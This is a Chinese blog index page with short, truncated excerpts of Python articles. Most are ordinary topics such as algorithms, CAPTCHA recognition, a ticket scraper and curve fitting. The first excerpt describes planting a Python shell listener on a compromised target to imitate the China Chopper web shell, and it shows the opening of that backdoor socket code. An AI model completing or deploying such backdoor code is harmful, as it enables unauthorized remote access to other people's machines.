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python模拟菜刀反弹shell绕过限制【推荐】

有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返

系统 2019-09-27 17:56:31 2511

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Python 70行代码实现简单算式计算器解析

描述:用户输入一系列算式字符串,程序返回计算结果。要求:不使用eval、exec函数。实现思路:找到当前字符串优先级最高的表达式,在算术运算中,()优先级最高,则取出算式最底层的(),再进行加减乘除运算。对于加减乘除,也要确立一个优先级,可以使用一个运算符列表,用for循环逐个处理运算符,并且要考虑同级情况(如for遍历至*时,也要考虑同级别的\是否要提前运算)。不断循环上述过程,直到最终得到一个结果。关键点:使用re模块匹配出当前状态下优先级最高的算式。

系统 2019-09-27 17:56:08 2511

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[机器视觉]使用python自动识别验证码详解

前言CAPTCHA全称CompletelyAutomatedPublicTuringTesttoTellComputersandHumansApart,即全自动区分人机的图灵测试。这也是验证码诞生的主要任务。但是随着近年来大数据运算和机器视觉的发展,用机器视觉识别图像已经变得非常容易,过去用于区分人机的验证码也开始变得不再安全。接下来就让我们从零开始,深入图像处理和算法构建,来看看使用机器视觉来识别过时的验证码(如下所示)究竟可以有多简单。载入需要的程序包

系统 2019-09-27 17:55:24 2511

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关联算法②——Apriori算法原理及python实现

一、关联规则关联规则,顾名思义,就是寻找事物之间的关联关系。比如《啤酒与尿布》中,在某个特定时间段,会出现啤酒与尿布同时出现在购物篮中的现象,且出现频率非常高。调研发现这是一群爱喝啤酒的奶爸群体。如果可以通过类似的方式挖掘更多特定的群体需求,就可以进行交叉销售或捆绑销售来提升销售额和利润。Apriori算法就是经典的寻找物品的关联算法。二、Apriori算法原理1、基础概念项集:包含0个或者多个项的集合称为项集频繁项集:那些经常一起出现的物品集合2、关联规

系统 2019-09-27 17:55:14 2511

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Python爬虫:12306抢票,开源代码!

今天就和大家一起来讨论一下python实现12306余票查询(pycharm+python3.7),一起来感受一下python爬虫的简单实践我们说先在浏览器中打开开发者工具(F12),尝试一次余票的查询,通过开发者工具查看发出请求的包可以看到红框框中的URL就是我们向12306服务器发出的请求,那么具体是什么呢?我们来看看https://kyfw.12306.cn/otn/leftTicket/queryZ?leftTicketDTO.train_date

系统 2019-09-27 17:54:56 2511

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对python3 sort sorted 函数的应用详解

python3sorted取消了对cmp的支持。python3帮助文档:sorted(iterable,key=None,reverse=False)key接受一个函数,这个函数只接受一个元素,默认为Nonereverse是一个布尔值。如果设置为True,列表元素将被倒序排列,默认为False着重介绍key的作用原理:key指定一个接收一个参数的函数,这个函数用于从每个元素中提取一个用于比较的关键字。默认值为None。例1:students=[('john

系统 2019-09-27 17:54:32 2511

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Python中的10个常见安全漏洞及修复方法

编写安全的代码很困难,当你学习一门编程语言、一个模块或框架时,你会学习其使用方法。在考虑安全性时,你需要考虑如何避免代码被滥用,Python也不例外,即使在标准库中,也存在着许多糟糕的实例。然而,许多Python开发人员却根本不知道这些。以下为10个Python常见安全漏洞,排名不分先后。1.输入输出注入攻击影响广泛且很常见,注入有很多种类,它们影响所有的语言、框架和环境。SQL注入是直接编写SQL查询(而非使用ORM)时将字符串与变量混合。我读过很多代码

系统 2019-09-27 17:51:52 2511

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python实现连连看辅助(图像识别)

个人兴趣,用python实现连连看的辅助程序,总结实现过程及知识点。总体思路1、获取连连看程序的窗口并前置2、游戏界面截图,将每个一小图标切图,并形成由小图标组成的二维列表3、对图片的二维列表遍历,将二维列表转换成由数字组成的二维数组,图片相同的数值相同。4、遍历二维数组,找到可消除的对象,实现算法:两个图标相邻。(一条线连接)两个图标同行,同列,且中间的图标全部为空(数值为0)(一条线连接)两条线连接,转弯一次,路径上所有图标为空。(二条线连接)三条线连

系统 2019-09-27 17:50:05 2511

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详解Python并发编程之从性能角度来初探并发编程

.前言作为进阶系列的一个分支「并发编程」,我觉得这是每个程序员都应该会的。并发编程这个系列,我准备了将近一个星期,从知识点梳理,到思考要举哪些例子才能更加让人容易吃透这些知识点。希望呈现出来的效果真能如想象中的那样,对小白也一样的友好。昨天大致整理了下,这个系列我大概会讲如下内容(后期可能调整):对于并发编程,Python的实现,总结了一下,大致有如下三种方法:多线程多进程协程(生成器)在之后的章节里,将陆陆续续地给大家介绍到这三个知识点。.并发编程的基本

系统 2019-09-27 17:49:59 2511

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python如何实现数据的线性拟合

实验室老师让给数据画一张线性拟合图。不会matlab,就琢磨着用python。参照了网上的一些文章,查看了帮助文档,成功的写了出来这里用到了三个库importnumpyasnpimportmatplotlib.pyplotaspltfromscipyimportoptimizedeff_1(x,A,B):returnA*x+Bplt.figure()#拟合点x0=[75,70,65,60,55,50,45,40,35,30]y0=[22.44,22.17,

系统 2019-09-27 17:48:54 2511